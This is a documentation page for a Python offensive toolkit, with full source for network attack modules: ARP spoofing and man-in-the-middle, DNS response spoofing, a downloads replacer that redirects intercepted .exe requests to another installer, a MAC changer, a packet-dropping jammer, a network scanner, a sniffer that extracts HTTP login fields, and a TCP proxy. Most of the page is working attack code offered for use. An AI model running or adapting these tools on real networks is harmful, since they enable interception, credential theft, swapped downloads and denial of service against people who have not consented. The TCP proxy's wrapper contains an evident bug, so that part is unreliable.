Skip to content

Network Attackers Documentation

Arp spoofer

check_args(target_ip, spoof_ip)

checks if arguments fetched are valid

Parameters:

Name Type Description Default
target_ip str

IP address of the target

required
spoof_ip str

spoofed IP address which should be binded with your MAC address

required

Returns:

Name Type Description
bool

True if all args are valid else exit

Source code in pyhtools\attackers\Network\arpspoofer.py
def check_args(target_ip, spoof_ip):
    '''checks if arguments fetched are valid

    Args:
        target_ip (str): IP address of the target
        spoof_ip (str): spoofed IP address which should be binded with your MAC address

    Returns:
        bool: True if all args are valid else exit
    '''
    if not target_ip:
        exit(BRIGHT_RED +
             "[-] Please enter target ip as argument, use -h or --help for more info")
    elif not spoof_ip:
        exit(BRIGHT_RED +
             "[-] Please enter spoof ip as argument, use -h or --help for more info")

    return True

generate_packet(pdst, hwdst, psrc)

generates spoof packets.

Parameters:

Name Type Description Default
pdst str

IP address of destination

required
hwdst str

MAC address of destination

required
psrc str

IP address of source

required

Returns:

Type Description

scapy.ARP: spoofed ARP packet with specified configuration

Source code in pyhtools\attackers\Network\arpspoofer.py
def generate_packet(pdst, hwdst, psrc):
    '''generates spoof packets.

    Args:
        pdst (str): IP address of destination
        hwdst (str): MAC address of destination
        psrc (str): IP address of source

    Returns:
        scapy.ARP: spoofed ARP packet with specified configuration
    '''
    packet = sp.ARP(op=2, pdst=pdst, hwdst=hwdst, psrc=psrc)
    return packet

get_args()

get arguments from command line

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\arpspoofer.py
def get_args():
    '''get arguments from command line

    Args:
        None

    Returns:
        None
    '''
    parser = argparse.ArgumentParser('ARP spoofer')
    parser.add_argument('-t', '--target', dest='target', help='target ip')
    parser.add_argument('-s', '--spoof', dest='spoof', help='spoof ip')
    parser.add_argument('-mitm', '--man-in-the-middle', dest='mitm',
                        help='switch for mitm attack option, default is 0')

    args = parser.parse_args()

    target_ip = args.target
    spoof_ip = args.spoof
    mitm = args.mitm
    del args
    return target_ip, spoof_ip, mitm

get_mac(ip)

retrieves mac address from the ip.

Parameters:

Name Type Description Default
ip str

IP address

required

Returns:

Name Type Description
str

MAC address of specified IP address

Source code in pyhtools\attackers\Network\arpspoofer.py
def get_mac(ip):
    '''retrieves mac address from the ip.

    Args:
        ip (str): IP address

    Returns:
        str: MAC address of specified IP address
    '''
    try:
        arp_req = sp.ARP(pdst=ip)
        brdcst = sp.Ether(dst='ff:ff:ff:ff:ff:ff')

        packet = brdcst / arp_req
        responded_list = sp.srp(packet, timeout=2, verbose=False, retry=3)[0]

        return responded_list[0][1].hwsrc
    except PermissionError:
        print(BRIGHT_RED + '[-] run with sudo.')
        exit()
    except IndexError:
        print(BRIGHT_YELLOW + '\r[!] Unable to find target.')

mitm(target_ip, spoof_ip, args_status)

performs man in the middle attack by arp poisoning

Parameters:

Name Type Description Default
target_ip str

IP address of target machine

required
spoof_ip str

IP address to be spoofed by attacker's machine

required
args_status bool

True if cli args are valid else False

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\arpspoofer.py
def mitm(target_ip, spoof_ip, args_status):
    '''performs man in the middle attack by arp poisoning

    Args:
        target_ip (str): IP address of target machine
        spoof_ip (str): IP address to be spoofed by attacker's machine
        args_status (bool): True if cli args are valid else False

    Returns:
        None
    '''
    print(BRIGHT_YELLOW + '[+] Launching MITM ARP Attack....')
    packets_sent = 0
    is_attacking = True
    while is_attacking:
        try:
            spoof(target_ip, spoof_ip, args_status)
            spoof(spoof_ip, target_ip, args_status)
            packets_sent += 2
            print(BRIGHT_WHITE + '\r[+] Packets sent: ' +
                  str(packets_sent), end='')
            sleep(2)
        except KeyboardInterrupt:
            print(BRIGHT_YELLOW +
                  '\r\n[+] Stopping MITM attack and restoring default settings...')
            is_attacking = False

restore_default_table(dst_ip, src_ip)

restore default arp table of spoofed targets

Parameters:

Name Type Description Default
dst_ip str

IP address of destination machine

required
src_ip str

IP address to be spoofed by src machine

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\arpspoofer.py
def restore_default_table(dst_ip, src_ip):
    '''restore default arp table of spoofed targets

    Args:
        dst_ip (str): IP address of destination machine
        src_ip (str): IP address to be spoofed by src machine

    Returns:
        None
    '''
    try:
        dst_mac = get_mac(dst_ip)
        src_mac = get_mac(src_ip)
        packet = sp.ARP(op=2, pdst=dst_ip, hwdst=dst_mac,
                        psrc=src_ip, hwsrc=src_mac)
        sp.send(packet, verbose=False, count=4)

    except Exception as e:
        print(BRIGHT_RED +
              '[-] Exception occurred while restoring MAC address')
        raise(e)

run_spoofer(target_ip, spoof_ip, perform_mitm)

start spoofer

Parameters:

Name Type Description Default
dst_ip str

IP address of destination machine

required
src_ip str

IP address to be spoofed by src machine

required
perform_mitm bool

True if MITM has to be performed else False

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\arpspoofer.py
def run_spoofer(target_ip, spoof_ip, perform_mitm):
    '''start spoofer

    Args:
        dst_ip (str): IP address of destination machine
        src_ip (str): IP address to be spoofed by src machine
        perform_mitm (bool): True if MITM has to be performed else False

    Returns:
        None
    '''
    TARGET_IP, SPOOF_IP, MITM = target_ip, spoof_ip, perform_mitm
    ARGS_STATUS = check_args(TARGET_IP, SPOOF_IP)

    if MITM == '1' or MITM:
        print(BRIGHT_YELLOW + '[*] Performing MITM attack...')
        mitm(TARGET_IP, SPOOF_IP, ARGS_STATUS)
    else:
        print(BRIGHT_YELLOW +
              f'[*] Performing Spoof Only on {TARGET_IP} as {SPOOF_IP}...')
        spoof_only(TARGET_IP, SPOOF_IP, ARGS_STATUS)

    print(BRIGHT_YELLOW +
          '[+] Restoring default table for target and gateway....')
    restore_default_table(TARGET_IP, SPOOF_IP)
    restore_default_table(SPOOF_IP, TARGET_IP)

    print(BRIGHT_RED + '[+] Closing ARPSPOOFER...')

spoof(target_ip, spoof_ip, args_status)

spoof target with spoof ip mac

Parameters:

Name Type Description Default
target_ip str

IP address of target machine

required
spoof_ip str

IP address to be spoofed by attacker's machine

required
args_status bool

True if cli args are valid else False

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\arpspoofer.py
def spoof(target_ip, spoof_ip, args_status):
    '''spoof target with spoof ip mac

    Args:
        target_ip (str): IP address of target machine
        spoof_ip (str): IP address to be spoofed by attacker's machine
        args_status (bool): True if cli args are valid else False

    Returns:
        None
    '''
    if args_status:
        target_mac = get_mac(target_ip)
        PACKET = generate_packet(target_ip, target_mac, spoof_ip)
        sp.send(PACKET, verbose=False)
    else:
        print('[-] Error while spoofing the target ' + target_ip)

spoof_only(target_ip, spoof_ip, args_status)

only spoofs the specified target.

Parameters:

Name Type Description Default
target_ip str

IP address of target machine

required
spoof_ip str

IP address to be spoofed by attacker's machine

required
args_status bool

True if cli args are valid else False

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\arpspoofer.py
def spoof_only(target_ip, spoof_ip, args_status):
    '''only spoofs the specified target.

    Args:
        target_ip (str): IP address of target machine
        spoof_ip (str): IP address to be spoofed by attacker's machine
        args_status (bool): True if cli args are valid else False

    Returns:
        None
    '''
    print(BRIGHT_YELLOW + f'[+] Spoofing {target_ip} as {spoof_ip}....')

    packets_sent = 0
    is_spoofing = True
    while is_spoofing:
        try:
            spoof(target_ip, spoof_ip, args_status)
            print(BRIGHT_WHITE + '\r[+] Packets sent: ' +
                  str(packets_sent), end='')
            packets_sent += 1
            sleep(2)
        except KeyboardInterrupt:
            print(BRIGHT_YELLOW +
                  '\r\n[+] Stopping and restoring default settings...')
            is_spoofing = False

DNS Spoofer

forward_packets()

configures the mitm for incoming request packets into a queue

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\dnsspoofer.py
def forward_packets():
    '''configures the mitm for incoming request packets
    into a queue

    Args:
        None

    Returns:
        None
    '''

    # executing the following command
    # iptables -I FOWARD -j NFQUEUE --queue-num (any number)
    # sudo iptables -I FORWARD -j NFQUEUE --queue-num 0
    # -I -> insert (packet into a chain specified by the user)
    # -j -> jump if the packet matches the target.
    # --queue-num -> jump to specfic queue number
    call('sudo iptables -I FORWARD -j NFQUEUE --queue-num 0', shell=True)

    # for local host
    call('sudo iptables -I INPUT -j NFQUEUE --queue-num 0', shell=True)
    call('sudo iptables -I OUTPUT -j NFQUEUE --queue-num 0', shell=True)

process_packet(packet)

process received packet, everytime a packet is received. prints the packet received in the queue and it changes the DNS response dest ip with your desired ip

Parameters:

Name Type Description Default
packet scapy.IP

IP packet from netfilterqueue/iptables

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\dnsspoofer.py
def process_packet(packet):
    '''
    process received packet, everytime a packet is received.
    prints the packet received in the queue and it changes 
    the DNS response dest ip with your desired ip

    Args:
        packet (scapy.IP): IP packet from netfilterqueue/iptables 

    Returns:
        None
    '''
    scapy_pkt = scapy.IP(packet.get_payload())

    # Check for DNS layer in DNS Request Record (DNSRR) or 
    # DNS Question Record (DNSQR)
    if scapy_pkt.haslayer(scapy.DNSRR):
        qname = scapy_pkt[scapy.DNSQR].qname
        if SPOOF_WEBSITE in qname:
            print('[*] Spoofing target ...')
            response = scapy.DNSRR(rrname=qname, rdata=SPOOF_RDATA)
            scapy_pkt[scapy.DNS].an = response
            scapy_pkt[scapy.DNS].ancount = 1

            # remove IP.len,IP.chksum,UDP.len,UDP.chksum to make
            # sure that our packet looks untampered and scapy will
            # calculate it again for us.
            del scapy_pkt[scapy.IP].len
            del scapy_pkt[scapy.IP].chksum
            del scapy_pkt[scapy.UDP].len
            del scapy_pkt[scapy.UDP].chksum

            packet.set_payload(bytes(scapy_pkt))
            print(packet)

    packet.accept()

reset_config()

resets the configurations changed while exectution of the program to its original configuration

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\dnsspoofer.py
def reset_config():
    '''
    resets the configurations changed while exectution of the program to 
    its original configuration

    Args:
        None

    Returns:
        None
    '''
    call('sudo iptables --flush', shell=True)

run()

Starts DNS spoofer

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\dnsspoofer.py
def run():
    '''Starts DNS spoofer

    Args:
        None

    Returns:
        None
    '''
    print('[*] configuring packet receiver...')

    forward_packets()
    print('[*] packet receiver configured successfully.\n')

    print('[*] Creating Queue to start receiving packets.')
    try:
        queue = netfilterqueue.NetfilterQueue()
        # Bind queue with queue-number 0
        queue.bind(0, process_packet)
        queue.run()

    except OSError as e:
        print('[-] Run script with root priviliges.')
        print(e)

    except KeyboardInterrupt:
        print('\r[-] Keyboard Interrupt detected!')

    except Exception:
        print('[-] An Exception occurred while creating queue.\n', Exception)

    finally:
        print('[*] Restoring previous configurations.. please be patient...')
        reset_config()

        print('[-] Program stopped.')

Downloads Replacer

forward_packets()

configures the mitm for incoming request packets into a queue.

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\downloads_replacer.py
def forward_packets():
    '''
    configures the mitm for incoming request packets
    into a queue.

    Args:
        None

    Returns:
        None
    '''

    # executing the following command
    # iptables -I FOWARD -j NFQUEUE --queue-num (any number)
    # sudo iptables -I FORWARD -j NFQUEUE --queue-num 0
    # -I -> insert (packet into a chain specified by the user)
    # -j -> jump if the packet matches the target.
    # --queue-num -> jump to specfic queue number
    call('sudo iptables -I FORWARD -j NFQUEUE --queue-num 0', shell=True)

process_packet(packet)

process received packet, everytime a packet is received. prints the packet received in the queue and it changes the DNS response dest ip with your desired ip.

Parameters:

Name Type Description Default
packet scapy.IP

packet from netfilterqueue/iptables

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\downloads_replacer.py
def process_packet(packet):
    '''
    process received packet, everytime a packet is received.
    prints the packet received in the queue and it changes 
    the DNS response dest ip with your desired ip.

    Args:
        packet (scapy.IP): packet from netfilterqueue/iptables

    Returns:
        None
    '''
    scapy_pkt = scapy.IP(packet.get_payload())

    # HTTP layer is in the Raw layer.
    # if dport (destination port) = http (i.e. port 80) in TCP and raw layer 
    # consists of get method then, packet consists a HTTP request.
    # 
    # if sport (source port) = http (80) in TCP then the packet consists 
    # a HTTP response.
    #  
    if scapy_pkt.haslayer(scapy.Raw):
        if scapy_pkt[scapy.TCP].dport == 80:
            if b".exe" in scapy_pkt[scapy.Raw].load:
                print('[*] EXE Request Detected!')
                ack_list.append(scapy_pkt[scapy.TCP].ack)


        elif scapy_pkt[scapy.TCP].sport == 80:
            if scapy_pkt[scapy.TCP].seq in ack_list:
                print('[*] Replacing File!\n')
                ack_list.remove(scapy_pkt[scapy.TCP].seq)

                modified_pkt = set_load(scapy_pkt, "HTTP/1.1 301 Moved Permanently\nLocation: https://referrals.brave.com/latest/BraveBrowserSetup.exe \n\n")
                packet.set_payload(bytes(modified_pkt))

    packet.accept()

reset_config()

resets the configurations changed while exectution of the program to its original configuration

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\downloads_replacer.py
def reset_config():
    '''
    resets the configurations changed while exectution of the program to 
    its original configuration

    Args:
        None

    Returns:
        None
    '''
    call('sudo iptables --flush', shell=True)

run()

Starts download replacer

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\downloads_replacer.py
def run():
    '''Starts download replacer

    Args:
        None

    Returns:
        None
    '''
    print('[*] configuring packet receiver...')

    forward_packets()
    print('[*] packet receiver configured successfully.\n')

    print('[*] Creating Queue to start receiving packets.')
    try:
        queue = netfilterqueue.NetfilterQueue()
        # Bind queue with queue-number 0
        queue.bind(0, process_packet)
        queue.run()

    except OSError as e:
        print('[-] Run script with root priviliges.')
        print(e)

    except KeyboardInterrupt:
        print('\r[-] Keyboard Interrupt detected!')

    except Exception:
        print('[-] An Exception occurred while creating queue.\n', Exception)

    finally:
        print('[*] Restoring previous configurations.. please be patient...')
        reset_config()

        print('[-] Program stopped.')

set_load(packet, load)

sets the packet raw layer load value to the passed load value

Parameters:

Name Type Description Default
packet scapy.IP

scapy IP packet

required
load bytes

payload data as bytes

required

Returns:

Type Description

scapy.IP: returns packet with load

Source code in pyhtools\attackers\Network\downloads_replacer.py
def set_load(packet, load):
    '''sets the packet raw layer load value to the passed load value

    Args:
        packet (scapy.IP): scapy IP packet
        load (bytes): payload data as bytes

    Returns:
        scapy.IP: returns packet with load
    '''
    packet[scapy.Raw].load = load

    # since now the packet has been tampered, the new 
    # packet will have differet length and checksums
    # so we'll delete these fields and scapy will 
    # automatically calulate these for us.
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum

    return packet

Mac Changer

change_mac(intrfc, new_mac)

changes mac address of the interface. returns True if mac changes successfully.

Parameters:

Name Type Description Default
intrfc str

network interface whose MAC address needs to be changed

required
new_mac str

new MAC address for the network interface

required

Returns:

Name Type Description
bool

Returns True if MAC address is changed successfully else exits program

Source code in pyhtools\attackers\Network\machngr.py
def change_mac(intrfc, new_mac):
    '''changes mac address of the interface. returns True if mac changes successfully.

    Args:
        intrfc (str): network interface whose MAC address needs to be changed
        new_mac (str): new MAC address for the network interface

    Returns: 
        bool: Returns True if MAC address is changed successfully else exits program
    '''
    if check_args(intrfc, new_mac):
        try:
            subprocess.call(['sudo', 'ifconfig', intrfc, 'down'])
            subprocess.call(
                ['sudo', 'ifconfig', intrfc, 'hw', 'ether', new_mac])
            subprocess.call(['sudo', 'ifconfig', intrfc, 'up'])
            return True

        except Exception as e:
            exit(BRIGHT_RED + '[-] Error occured while changing MAC address')

check_args(intrfc, new_mac)

checks if args are valid, prints appropriate error and exit

Parameters:

Name Type Description Default
intrfc str

network interface whose MAC address needs to be changed

required
new_mac str

new MAC address for the network interface

required

Returns:

Name Type Description
bool

Returns True if all parsed arguments are valid

Source code in pyhtools\attackers\Network\machngr.py
def check_args(intrfc, new_mac):
    '''checks if args are valid, prints appropriate error and exit

    Args:
        intrfc (str): network interface whose MAC address needs to be changed
        new_mac (str): new MAC address for the network interface

    Returns: 
        bool: Returns True if all parsed arguments are valid
    '''
    if not intrfc:
        exit(BRIGHT_RED +
             "[-] Please enter interface argument, use -h or --help for more info")
    elif not new_mac:
        exit(BRIGHT_RED +
             "[-] Please enter new mac address as argument, use -h or --help for more info")
    return True

check_mac_change(intrfc, new_mac, mac_change_status)

checks if mac address has been changed

Parameters:

Name Type Description Default
intrfc str

network interface whose MAC address needs to be changed

required
new_mac str

new MAC address for the network interface

required

Returns:

Name Type Description
bool

Returns True if MAC address was changed successfully else False

Source code in pyhtools\attackers\Network\machngr.py
def check_mac_change(intrfc, new_mac, mac_change_status):
    '''checks if mac address has been changed

    Args:
        intrfc (str): network interface whose MAC address needs to be changed
        new_mac (str): new MAC address for the network interface

    Returns: 
        bool: Returns True if MAC address was changed successfully else False
    '''
    status = False

    if mac_change_status:
        ifconfig_result = subprocess.check_output(['sudo', 'ifconfig', intrfc])
        mac_regex = r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w"
        mac_check_result = re.search(mac_regex, str(ifconfig_result))

        if mac_check_result:
            if mac_check_result.group(0) == new_mac:
                print(BRIGHT_YELLOW + f'[+] {intrfc}  MAC successfully changed\n',
                      BRIGHT_WHITE + f'\r[+] Current Mac: {mac_check_result.group(0)}')
                status = True
            else:
                print(
                    BRIGHT_RED + f"[-] {intrfc} MAC is not changed/ error while reading MAC address please try again")
                print(BRIGHT_YELLOW +
                      "[+] Current Mac: " + mac_check_result.group(0))
        else:
            print(BRIGHT_RED + "[-] MAC not found")

    return status

generate_random_mac()

generates and returns a random mac address

Returns:

Name Type Description
str str

New MAC Address

Source code in pyhtools\attackers\Network\machngr.py
def generate_random_mac() -> str:
    '''generates and returns a random mac address

    Args:
        None

    Returns: 
        str: New MAC Address
    '''
    rand_mac = '00'
    for _ in range(5):
        rand_mac += ':' + format(randint(0, 255), 'x')

    return rand_mac

get_arguments()

get arguments from the cli

Returns:

Name Type Description
tuple

contains (interface, new_mac)

Source code in pyhtools\attackers\Network\machngr.py
def get_arguments():
    '''get arguments from the cli

    Args:
        None

    Returns: 
        tuple: contains (interface, new_mac)
    '''
    parser = argparse.ArgumentParser(description='Mac Changer')

    parser.add_argument('-i', '--interface', dest='interface',
                        help='Choose interface')
    parser.add_argument('-m', '--new-mac', dest='new_mac',
                        help='Choose new mac address or enter random to generate random mac.')
    args = parser.parse_args()

    INTERFACE = args.interface
    NEW_MAC = args.new_mac
    del parser

    if NEW_MAC == 'random':
        print(BRIGHT_WHITE + '[*] Generating Random Mac')
        NEW_MAC = generate_random_mac()

    return INTERFACE, NEW_MAC

run_macchanger(interface, new_mac)

run mac changer commands based on OS

Parameters:

Name Type Description Default
intrfc str

network interface whose MAC address needs to be changed

required
new_mac str

new MAC address for the network interface

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\machngr.py
def run_macchanger(interface, new_mac):
    '''run mac changer commands based on OS

    Args:
        intrfc (str): network interface whose MAC address needs to be changed
        new_mac (str): new MAC address for the network interface

    Returns: 
        None
    '''
    if os.name == 'posix':
        INTERFACE, NEW_MAC = interface, new_mac
        MAC_CHANGE_STATUS = change_mac(INTERFACE, NEW_MAC)
        check_mac_change(INTERFACE, NEW_MAC, MAC_CHANGE_STATUS)
    else:
        print(
            BRIGHT_RED + "[\U0001f636] Mac changer only works on linux machines with admin privileges.")

Network Jammer

forward_packets()

configures the mitm for incoming request packets into a queue.

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\network_jammer.py
def forward_packets():
    '''
    configures the mitm for incoming request packets
    into a queue.

    Args:
        None

    Returns: 
        None
    '''

    # executing the following command
    # iptables -I FOWARD -j NFQUEUE --queue-num (any number)
    # sudo iptables -I FORWARD -j NFQUEUE --queue-num 0
    # -I -> insert (packet into a chain specified by the user)
    # -j -> jump if the packet matches the target.
    # --queue-num -> jump to specfic queue number
    call('sudo iptables -I FORWARD -j NFQUEUE --queue-num 0', shell=True)

process_packet(packet)

process received packet, everytime a packet is received. prints the packet received in the queue and drops packet

Parameters:

Name Type Description Default
packet scapy.IP

IP packet from netfiterqueue/iptables

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\network_jammer.py
def process_packet(packet):
    '''
    process received packet, everytime a packet is received.
    prints the packet received in the queue and drops packet

    Args:
        packet (scapy.IP): IP packet from netfiterqueue/iptables 

    Returns: 
        None
    '''
    print(packet)
    packet.drop()

reset_config()

resets the configurations changed while exectution of the program to its original configuration

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\network_jammer.py
def reset_config():
    '''
    resets the configurations changed while exectution of the program to 
    its original configuration

    Args:
        None

    Returns: 
        None
    '''
    call('sudo iptables --flush', shell=True)

run()

Start network jammer

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\network_jammer.py
def run():
    '''Start network jammer

    Args:
        None

    Returns:
        None
    '''
    print('[*] configuring packet receiver...')

    forward_packets()
    print('[*] packet receiver configured successfully.\n')

    print('[*] Creating Queue to start receiving packets.')
    try:
        queue = netfilterqueue.NetfilterQueue()
    # Bind queue with queue-number 0
        queue.bind(0, process_packet)
        queue.run()

    except OSError as e:
        print('[-] Run script with root priviliges.')
        print(e)

    except Exception:
        print('[-] An Exception occurred while creating queue.\n', Exception)

    finally:
        print('[*] Restoring previous configurations.. please be patient...')
        reset_config()

        print('[-] Program stopped.')

Network Scanner

get_args()

get arguments from the command line.

Returns:

Name Type Description
str

IP address/range

Source code in pyhtools\attackers\Network\nwscan.py
def get_args():
    '''get arguments from the command line.

    Args:
        None

    Returns: 
        str: IP address/range
    '''
    parser = argparse.ArgumentParser(description='search for other devices on the network')
    parser.add_argument('-ip', help='ip or ip range of the target device')
    args = parser.parse_args()

    return args.ip

print_clients(clients)

prints discovered clients on the network ip range.

Parameters:

Name Type Description Default
clients list

list of discovered ip addresses

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\nwscan.py
def print_clients(clients):
    '''prints discovered clients on the network ip range.

    Args: 
        clients (list): list of discovered ip addresses

    Returns: 
        None
    '''
    print(BRIGHT_YELLOW + '________________________________________________________')
    print(BRIGHT_YELLOW + 'IP\t\t\tMAC Address')
    print(BRIGHT_YELLOW + '--------------------------------------------------------')

    for client in clients:
        print( BRIGHT_WHITE + client.get('ip') + '\t\t' + client.get('mac'))

    print(BRIGHT_YELLOW + '________________________________________________________\n')

run_nwscan(ip)

starts network scanner for specified ip range or ip.

Parameters:

Name Type Description Default
ip str

IP address/range of scan target

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\nwscan.py
def run_nwscan(ip:str):
    '''starts network scanner for specified ip range or ip.

    Args: 
        ip (str): IP address/range of scan target

    Returns: 
        None
    '''
    try:
        print(BRIGHT_YELLOW + '[*] Starting Network Scanner....')
        clients = scan(ip)
        print_clients(clients)
    except Exception as e:
        print(BRIGHT_RED + '[-] Exception : ', e)

scan(ip)

scans ip range for clients and returns discovered clients list.

Parameters:

Name Type Description Default
ip str

IP address/range of client to be discovered

required

Returns:

Name Type Description
list

IP addresses of discovered network clients

Source code in pyhtools\attackers\Network\nwscan.py
def scan(ip):
    '''scans ip range for clients and returns discovered clients list.

    Args: 
        ip (str): IP address/range of client to be discovered

    Returns: 
        list: IP addresses of discovered network clients  
    '''
    print(BRIGHT_WHITE + f'[*] Discovering Clients {ip}')
    arp_req = sp.ARP(pdst=ip)
    brdcst = sp.Ether(dst='ff:ff:ff:ff:ff:ff')
    packet = brdcst / arp_req
    responded_list = sp.srp(packet, timeout=2, retry=3,verbose=False)[0]

    clients = []
    for ele in responded_list:
        clients.append({"ip": ele[1].psrc, 'mac': ele[1].hwsrc})

    return clients

Packet Sniffer

check_args(intrfce)

checks if the passed arguments are valid. if valid returns True.

Parameters:

Name Type Description Default
intrfce str

network inferface on which sniffing action is be performed

required

Returns:

Name Type Description
bool

returns True if args are valid else False

Source code in pyhtools\attackers\Network\pkt_sniffer.py
def check_args(intrfce):
	'''checks if the passed arguments are valid. if valid returns True.

	Args:
		intrfce (str): network inferface on which sniffing action is be performed

	Returns: 
		bool: returns True if args are valid else False
	'''
	if not intrfce:
		exit(BRIGHT_RED + "[-] Please enter interface argument, use -h or --help for more info")
	return True

get_args()

get arguments from the command line.

Returns:

Name Type Description
str

network interface

Source code in pyhtools\attackers\Network\pkt_sniffer.py
def get_args():
	'''get arguments from the command line.

	Args:
		None

	Returns: 
		str: network interface
	'''
	parser = argparse.ArgumentParser(description='Packet Sniffer')
	parser.add_argument('-i', '--interface', dest='interface', help='choose interface')
	args = parser.parse_args()

	interface = args.interface

	del parser
	return interface

get_login_info(packet)

extract login information from the sniffed packet.

Parameters:

Name Type Description Default
packet scapy.IP

scapy packet

required

Returns:

Name Type Description
str

URL with login information

Source code in pyhtools\attackers\Network\pkt_sniffer.py
def get_login_info(packet):
	'''extract login information from the sniffed packet.

	Args: 
		packet (scapy.IP): scapy packet

	Returns: 
		str: URL with login information
	'''
	if packet.haslayer(sp.Raw):
			load = str(packet[sp.Raw].load,encoding='utf-8')
			keywords = ["username", "user", "password", "pass", "login"]
			for keyword in keywords:
				if keyword in load:
					return load

get_url(packet)

extract url from the packet

Parameters:

Name Type Description Default
packet scapy.IP

scapy packet

required

Returns:

Name Type Description
str

URL inside the HTTP packet

Source code in pyhtools\attackers\Network\pkt_sniffer.py
def get_url(packet):
	'''extract url from the packet

	Args: 
		packet (scapy.IP): scapy packet

	Returns: 
		str: URL inside the HTTP packet
	'''
	print('IN GET URL')
	return str(packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path, encoding='utf-8')

process_sniffed_pkt(packet)

analyze the captured packet for login information.

Parameters:

Name Type Description Default
packet scapy.IP

scapy packet

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\pkt_sniffer.py
def process_sniffed_pkt(packet):
	'''analyze the captured packet for login information.

	Args: 
		packet (scapy.IP): scapy packet

	Returns: 
		None
	'''
	if packet.haslayer(http.HTTPRequest):

		url = get_url(packet)
		print(BRIGHT_WHITE + '[+] Http Request >> ' + url + '\n')

		login_info = get_login_info(packet)
		if login_info:
			print(BRIGHT_YELLOW + '\n\n[+] Contains possible Login information :\n' + login_info + '\n\n')

sniffer(intrfce, args_status)

sniffs packets over the network.

Parameters:

Name Type Description Default
intrfce str

network interface for sniffing action

required
args_status bool

True if cli args are valid else False

required

Returns:

Type Description

None

Source code in pyhtools\attackers\Network\pkt_sniffer.py
def sniffer(intrfce, args_status):
	'''sniffs packets over the network.
	Args: 
		intrfce (str): network interface for sniffing action
		args_status (bool): True if cli args are valid else False

	Returns: 
		None
	'''
	try:
		if args_status:
			sp.sniff(iface=intrfce, store=False, prn=process_sniffed_pkt)
	except Exception as e:
		print(BRIGHT_RED + '[-] An error occured while sniffing...')
		print(e)

TCP proxy

This is still work in progress, It might be unstable.

TCProxy

TCP proxy

Source code in pyhtools\attackers\Network\tcp_proxy.py
class TCProxy:
    '''TCP proxy'''
    def __init__(self, filepath: str = None) -> None:
        '''TCProxy class constructor

        Args: 
            filepath: path to file for storing captured data

        Returns: 
            None
        '''
        self.__file_name = filepath

        if self.__file_name and os.path.isfile(self.__file_name):
            logging.warning(
                f'{self.__file_name} file data will be overwritten!')
            with open(self.__file_name, 'wb') as f:
                f.write(b'')

        elif self.__file_name:
            logging.info(
                f'Captured data will be saved in file {self.__file_name}')

    def receive_from(self, conn: socket.socket):
        '''Accepts socket data and returns data from the buffer

        Args:
            conn (socket.socket): socket connection for reception

        Returns:
            bytes: returns received data
        '''
        conn.settimeout(5)
        try:
            buff = b''
            while True:
                data = conn.recv(4096)
                if not data:
                    break
                buff += data
        except Exception:
            pass
        return buff

    @staticmethod
    def handler(func):
        '''decorator used for packet modification

        Args:
            func (function): method function to be wrapped 

        Returns:
            function: wrapped function with error handling
        '''
        @wraps(func)
        def wrapper(*args, **kwargs):
            res = None
            try:
                res = func(**args, **kwargs)
                return res
            except Exception as e:
                logging.error(e)

        return wrapper

    @handler
    def request_handler(self, buff: bytes):
        '''manipulate buffer data before sending request to remote host

        Args:
            buff (bytes): received data

        Returns:
            bytes: received data after handling request
        '''
        return buff

    @handler
    def response_handler(self, buff: bytes):
        '''manipulate buffer data after receiving from remote host

        Args:
            buff (bytes): received data

        Returns:
            bytes: received data after handling request
        '''
        return buff

    def __write_data(self, data):
        '''Write Data to file

        Args:
            data (bytes): data to be written to the file

        Returns:
            None
        '''
        if not isinstance(data, bytes):
            data = bytes(data, encoding='utf-8')

        if self.__file_name:
            with open(self.__file_name, 'ab') as f:
                f.write(data)

    def proxy_handler(self, client_sock: socket.socket, remote_host: str, remote_port: int, receive_first: bool, v4: bool = True):
        '''handles proxy connections

        Args:
            client_sock (socket.socket): client TCP socket connection
            remote_host (str): IP address of the remote host
            remote_port (int): port of remote host
            receive_first (bool): if True proxy will start receiving data else it'll send
            v4 (bool): if True uses IP v4 address else IP v6

        Returns:
            None
        '''
        address_family = socket.AF_INET if v4 else socket.AF_INET6
        remote_sock = socket.socket(address_family, socket.SOCK_STREAM)
        remote_sock.connect((remote_host, remote_port))
        remote_buff = b''

        if receive_first:
            remote_buff = self.receive_from(client_sock)
            self.__write_data(remote_buff)

        remote_buff = self.response_handler(remote_buff)
        if len(remote_buff):
            logging.info(f'[<--] Send {len(remote_buff)} bytes to localhost')
            client_sock.send(remote_buff)

        while True:
            # data from localhost to remote
            local_buff = self.receive_from(client_sock)
            if len(local_buff):
                logging.info(
                    f'[-->] Received {len(local_buff)} bytes from localhost')
                local_buff = self.request_handler(local_buff)
                remote_sock.send(local_buff)
                logging.info(f'[-->] Sent to remote host')

            # data from remote to localhost
            remote_buff = self.response_handler(remote_buff)
            if len(remote_buff):
                logging.info(
                    f'[<--] Received {len(remote_buff)} bytes from remote host')
                client_sock.send(remote_buff)

                remote_buff = self.response_handler(remote_buff)
                client_sock.send(remote_buff)
                logging.info(f'[<--] Sent to localhost')

            # if no data is received close sockets
            if not len(local_buff) or not len(remote_buff):
                remote_sock.close()
                client_sock.close()
                logging.info('Closing connections due to no incoming data')
                break

